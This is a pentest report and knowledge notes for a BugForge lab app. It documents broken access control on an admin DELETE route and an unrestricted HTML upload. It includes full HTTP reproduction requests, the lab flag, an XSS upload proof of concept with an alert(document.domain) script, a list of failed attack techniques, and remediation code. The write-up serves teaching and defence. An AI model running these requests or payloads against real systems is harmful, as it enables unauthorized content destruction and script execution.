Ottergram: Broken Access Control on an Admin DELETE Verb
Part 1: Pentest Report
Executive Summary
Ottergram is a React single-page application backed by an Express JSON API, using JWT bearer authentication. The session token carries only identity (id, username, iat) with no role claim; the user’s role is resolved server-side from the database. Testing confirmed that the authorization enforcement protecting the admin route group is applied inconsistently across HTTP verbs: it rejects a normal user on GET /api/admin/flagged-posts and POST /api/admin/posts/:id/approve, but is absent on DELETE /api/admin/posts/:id.
Testing confirmed 2 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Broken Access Control: missing authorization on the DELETE verb | High | 8.1 | CWE-862 | DELETE /api/admin/posts/:id |
| F2 | Unrestricted file upload served as same-origin active content | Low | 4.4 | CWE-434, CWE-79 | POST /api/posts |
The flag-bearing finding is F1. A self-registered account with role=user can delete any post through an admin-namespaced route that omits the authorization check enforced on its sibling verbs. The lab returns the objective flag as an extra flag key in the deletion response, present only when the deleted post belongs to another user, which mirrors the real-world impact: destruction of other users’ content by an unprivileged account.
Objective
This was a BugForge lab in which administrator credentials were supplied as engagement scope rather than as the goal. The objective was to perform a privileged action as a normal user (or trigger an action in the administrator’s context) and recover the flag, not to escalate to administrator.
Scope / Initial Access
# Target Application
URL: https://lab-1781741026342-kmurjh.labs-app.bugforge.io # ephemeral lab instance
# Auth details
Registration: open / self-serve via POST /api/register (returns a JWT immediately)
Token: JWT HS256 bearer, payload {id, username, iat}, no role claim
Role source: resolved server-side from the database (GET /api/verify-token returns it)
Accounts: haxor (id 4, role=user), our registered account
admin (id 2, role=admin), credentials provided as scope
Registration is open and returns a usable session token in the response body, so the authentication barrier for any authenticated route is near-zero. The administrator credentials were provided as a steer (the bug is not becoming administrator), confirmed by the fact that every administrator view returned no flag.
Reconnaissance: Reading the Bundle for the Verb Map
The application surface was mapped from the React production bundle (/static/js/main.49fc4dc1.js), which contains every API call the front end makes, each as an explicit method and path. Mapping the surface by verb (not by path string) is what surfaced the unguarded DELETE: the admin resource is touched by three different verbs, and only one of them is missing its authorization check.
Observations that shaped the test plan:
- The token payload is
{id, username, iat}with no role,isAdmin, or scope claim; the role is resolved server-side, so there is nothing to forge for privilege escalation. - The admin route group exposes three distinct verbs on its resources:
GET /api/admin/flagged-posts,POST /api/admin/posts/:id/approve, andDELETE /api/admin/posts/:id. Per-verb authorization is worth testing independently. - The administrator account’s own views (
GET /api/admin,GET /api/admin/flagged-posts) returned no flag and no privileged dashboard, indicating the objective is not stored data the administrator can already see. - The feed (
GET /api/posts) discloses post ownership, so a post owned by another user (post 1, owned byotter_lover) was available as a cross-user target. POST /api/postsaccepts a multipartimagefield; theaccept="image/*"constraint is client-side only.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (X-Powered-By: Express), JSON API under /api |
| Frontend | React single-page application (Create React App), bundle /static/js/main.49fc4dc1.js |
| Auth | JWT HS256 bearer; payload {id, username, iat}, no role claim; role resolved server-side from the database |
| Database | Not directly observable; injection probes against profile, comment, and query inputs were negative (parameterized) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | No | Open self-serve; returns a JWT |
/api/login |
POST | No | Returns a JWT |
/api/verify-token |
GET | Yes | Returns the role resolved from the database |
/api/posts |
GET | Yes | Feed; discloses post ownership |
/api/posts |
POST | Yes | Create post; multipart image field |
/api/posts/:id/comments |
GET/POST | Yes | |
/api/posts/:id/like |
POST | Yes | |
/api/posts/:id/flag |
POST | Yes | |
/api/profile/:username |
GET | Yes | |
/api/profile |
PUT | Yes | Front end sends only {full_name, bio} |
/api/admin |
GET | Yes (admin) | Panel gate; 403 for role=user |
/api/admin/flagged-posts |
GET | Yes (admin) | 403 for role=user |
/api/admin/posts/:id/approve |
POST | Yes (admin) | 403 for role=user |
/api/admin/posts/:id |
DELETE | Yes (user) | Authorization check absent (F1) |
/uploads/ |
GET | No | Directory listing enabled; serves uploaded files |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 2 | admin |
| haxor | 4 | user |
| otter_lover | (post 1 owner) | user |
Attack Chain Visualization
┌─────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐
│ Recon bundle │ │ Register account │ │ Test access by verb │ │ DELETE other's post │ │ Flag in response │
│ admin routes via │──▶│ open; user JWT, │──▶│ DELETE 99999 → 404 │──▶│ DELETE /posts/1 │──▶│ extra "flag" key │
│ axios; DELETE seen │ │ no role claim │ │ approve 99999 → 403 │ │ (otter_lover) → 200 │ │ cross-user only │
└─────────────────────┘ └─────────────────────┘ └─────────────────────┘ └─────────────────────┘ └─────────────────────┘
Findings
F1: Broken Access Control: Missing Authorization on the DELETE Verb
Severity: High
CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)
CWE: CWE-862 (Missing Authorization)
Endpoint: DELETE /api/admin/posts/:id
Authentication required: Yes (any authenticated user, including a self-registered role=user account)
Description
The admin route group enforces an authorization check on two of its verbs and omits it on a third:
GET /api/admin/flagged-postsrejects arole=usertoken with403 {"error":"Admin access required"}.POST /api/admin/posts/:id/approverejects arole=usertoken with the same403.DELETE /api/admin/posts/:idaccepts arole=usertoken and performs the deletion.
The enforcement is therefore verb-asymmetric: the check applied to the sibling actions on the same resource is not applied to the DELETE handler. Any authenticated user can delete any post. The deletion response additionally returns the objective flag as an extra flag key, present only when the deleted post is owned by another user; deleting one’s own post returns the success message without the flag.
Impact
Any self-registered user can delete any other user’s post, destroying content across all accounts.
Reproduction
Step 1: Register a normal account
POST /api/register HTTP/1.1
Host: lab-1781741026342-kmurjh.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"test@test.com","password":"password","full_name":""}
Response: 200 OK
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsImlhdCI6MTc4MTc0MTEyNn0.uYhRkHrrK4nufmNSGoJ8Ma6PleleXrQfEAG_QfRmmKc","user":{"id":4,"username":"haxor","email":"test@test.com","full_name":"","role":"user"}}
The response confirms role:"user" and yields the bearer token used for every subsequent request.
Step 2: Locate the missing check non-destructively
Issue the destructive verb against a non-existent id and compare it to a sibling verb, using the role=user token:
DELETE /api/admin/posts/99999 HTTP/1.1
Authorization: Bearer <user token>
Response: 404 {"error":"Post not found"}. The request reached the post lookup, which means no authorization gate stopped it.
POST /api/admin/posts/99999/approve HTTP/1.1
Authorization: Bearer <user token>
Response: 403 {"error":"Admin access required"}. The sibling verb is gated. The contrast (404 reached-lookup versus 403 rejected) isolates the missing authorization to the DELETE handler before any post is touched.
Step 3: Delete another user’s post and recover the flag
DELETE /api/admin/posts/1 HTTP/1.1
Host: lab-1781741026342-kmurjh.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsImlhdCI6MTc4MTc0MTEyNn0.uYhRkHrrK4nufmNSGoJ8Ma6PleleXrQfEAG_QfRmmKc
Response: 200 OK
{"message":"Post deleted successfully","flag":"bug{VeQ0qHJN9pzCPRBZlItdj5hJeJ4Mlk2Z}"}
Post 1 is owned by otter_lover, not by our account, so this is a cross-user deletion by a role=user token. The flag is returned only in this cross-user case.
Remediation
Fix 1: Apply the authorization check to every verb on the admin resource
The reliable fix is to attach the authorization check at the router level so it cannot be omitted on an individual verb, rather than per-handler where it can drift.
// BEFORE (Vulnerable): authorization attached per-handler, omitted on DELETE
router.get('/admin/flagged-posts', requireAdmin, listFlaggedPosts);
router.post('/admin/posts/:id/approve', requireAdmin, approvePost);
router.delete('/admin/posts/:id', deletePost); // <-- requireAdmin missing
// AFTER (Secure): authorization enforced for the whole admin router
router.use('/admin', requireAdmin);
router.get('/admin/flagged-posts', listFlaggedPosts);
router.post('/admin/posts/:id/approve', approvePost);
router.delete('/admin/posts/:id', deletePost); // now gated by router.use
Additional recommendations:
- Enforce authorization at the router or middleware boundary for any route group, so adding a new verb inherits the check by default instead of requiring it to be remembered.
- Add an automated test asserting that every verb under
/api/admin/*returns403for a non-admin token, so a future regression is caught.
F2: Unrestricted File Upload Served as Same-Origin Active Content
Severity: Low
CVSS v3.1: 4.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-434 (Unrestricted Upload of File with Dangerous Type), CWE-79 (Cross-Site Scripting)
Endpoint: POST /api/posts
Authentication required: Yes
Description
POST /api/posts accepts a multipart image field with no server-side type validation; the accept="image/*" restriction is enforced only in the browser. The uploaded file is stored byte-identical and served by express.static with a Content-Type derived from the file extension, so an uploaded .html is served as text/html and an .svg as image/svg+xml. Navigating directly to the stored file URL therefore executes attacker-controlled script in the application origin.
This finding has no in-app delivery path. Every render surface (the feed and the administrator’s flagged-post panel) loads uploads via <img src=image_url>, which does not execute script content, and there is no server-side reviewer or headless browser that opens the file. Execution requires a victim to navigate directly to the raw /uploads/<uuid>.html URL out of band, which is why this is reported as a latent issue at Low rather than a cross-user stored cross-site scripting finding.
Impact
Latent same-origin script execution against a victim who opens the raw upload URL; no automatic in-application delivery path.
Reproduction
Step 1: Upload an HTML file through the image field
POST /api/posts HTTP/1.1
Authorization: Bearer <user token>
Content-Type: multipart/form-data; boundary=----x
------x
Content-Disposition: form-data; name="image"; filename="evil.html"
Content-Type: text/html
<script>alert(document.domain)</script>
------x--
Response: 200 {"id":11,"message":"Post created successfully"}. The upload is accepted despite not being an image.
Step 2: Retrieve the stored file and confirm the active Content-Type
GET /uploads/def33035-5cee-477e-8746-27607b27d2f1.html HTTP/1.1
Response: 200 OK, Content-Type: text/html; charset=UTF-8, body <script>alert(document.domain)</script> served verbatim. The script runs in the application origin on direct top-level navigation.
Remediation
Fix 1: Validate file type server-side
// BEFORE (Vulnerable): any file accepted, extension preserved
const upload = multer({ dest: 'uploads/' });
router.post('/posts', auth, upload.single('image'), createPost);
// AFTER (Secure): allowlist image MIME types and verify by content, not extension
const ALLOWED = new Set(['image/jpeg', 'image/png', 'image/gif', 'image/webp']);
const upload = multer({
dest: 'uploads/',
fileFilter: (req, file, cb) => cb(null, ALLOWED.has(file.mimetype)),
});
// then verify magic bytes after upload and store with a server-chosen extension
Fix 2: Serve uploads without an active Content-Type
// Force download semantics / a fixed type, ideally from a separate origin
app.use('/uploads', express.static('uploads', {
setHeaders: (res) => {
res.setHeader('Content-Disposition', 'attachment');
res.setHeader('X-Content-Type-Options', 'nosniff');
},
}));
Additional recommendations:
- Disable directory listing on
/uploads. - Store uploads under server-generated names with a validated, server-chosen extension so the client cannot control how the file is served.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: F1. The admin-namespaced DELETE verb performs a privileged action for an unprivileged token because the authorization check enforced on the sibling verbs is absent.
- A04:2021 Insecure Design: F1. Authorization is enforced inconsistently across the verbs of one admin resource, leaving the DELETE verb unguarded while its sibling verbs reject a non-admin token.
- A05:2021 Security Misconfiguration: F2.
express.staticserves user-uploaded files with active content-types derived from the extension, and directory listing on/uploadsis enabled.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Request capture, edit, and replay against the API |
| Firefox | Application interaction and JWT inspection |
| React bundle review | Extracting the API surface and per-verb call map from main.49fc4dc1.js |
References
- CWE-862: Missing Authorization: https://cwe.mitre.org/data/definitions/862.html
- CWE-434: Unrestricted Upload of File with Dangerous Type: https://cwe.mitre.org/data/definitions/434.html
- CWE-79: Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html
- OWASP Top 10 2021: A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP Top 10 2021: A05 Security Misconfiguration: https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
Part 2: Notes / Knowledge
Key Learnings
-
Inventory endpoints by verb, not path: build an endpoint by verb authorization matrix and test every cell. When mapping a REST or single-page-application surface, especially from a JavaScript bundle, extract each call as a verb plus path rather than grepping for path strings, because a path-only view collapses the verbs of one resource into a single bucket and hides the verb that is unguarded. Authorization checks attached per-handler drift between verbs of the same resource, and the unguarded verb is usually disclosed in the source the whole time while being invisible to path-level recon. On this target,
DELETE /api/admin/posts/:idwas present in the bundle from the start, but only a per-verb test revealed that the check enforced onGET flagged-postsandPOST approvewas missing on DELETE. Confirm destructive verbs non-destructively first: a non-existent id that returns404 not foundreached the lookup and the gate is missing, whereas403means the verb is gated. -
Confirm the execution or parse channel and a demonstrated victim before claiming or sizing a finding. A real mechanism is not a real impact; the impact needs a channel and a victim, and both are often absent. For an upload that is served as active content, require a render surface that loads the file as a document (not
<img src>) plus a delivery vector such as a link or a bot before claiming a cross-user effect; otherwise it is self-inflicted execution and belongs at Low. For a suspected XXE, confirm that a parser actually ran, since byte-identical storage served with plain static headers means no parser touched the file and the echoed content is simply your own bytes. Size the severity from a second identity actually executing the payload, not from the fact that the file was accepted. Here the upload mechanism was genuine, but every render surface used<img src=image_url>and no server-side reviewer existed, so the finding was scoped to Low. -
When handed privileged credentials as engagement scope, steer away from privilege escalation, account takeover, and privileged-visible data. A designer who hands you administrator access is usually removing privilege escalation from the puzzle, so read the supplied credentials as a signal that the objective is neither becoming administrator nor reading data the privileged account already sees, and up-weight the vectors that the privileged account cannot trivially reach. Verify the steer by checking what the privileged view actually exposes before committing to it. On this target the administrator views held no flag, which pointed away from data theft and toward an action a normal user should not be able to perform; the flag turned out to be wired to that unauthorized action rather than to any stored record. This reasoning is lab-flavored: in a real engagement, supplied credentials usually mean test-coverage rather than a steer.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Direct call to GET /api/admin/flagged-posts and POST /api/admin/posts/:id/approve with a user token |
403 Admin access required |
Authorization enforced on these handlers; the asymmetry only exists on the DELETE verb |
JWT tampering (alg=none, add a role claim) |
Not viable | Token carries no role claim; role is resolved server-side from the database, so there is nothing to forge for privilege |
Mass assignment of role via PUT /api/profile |
Role unchanged | The backend does not honor a role field on the profile update |
Path traversal on the /uploads serve route (../, %2f-encoded) |
400 on encoded slash, 200 SPA shell on literal ../ |
The edge proxy rejects %2f; a literal ../ normalizes and falls through to the React index page |
| XXE via an uploaded file | No entity expansion | No parser in the pipeline; the file is stored byte-identical and served raw by express.static |
| SQL injection on profile, comment, and query inputs | No injection observed | Inputs appeared parameterized |
| Stored cross-site scripting executing in the feed or admin panel | No script execution | Every render surface uses <img src> (no document load) and there is no server-side reviewer to open the file |
Tags: #broken-access-control #bac #missing-authorization #file-upload #jwt #react #express #bugforge
Document Version: 1.0
Last Updated: 2026-06-18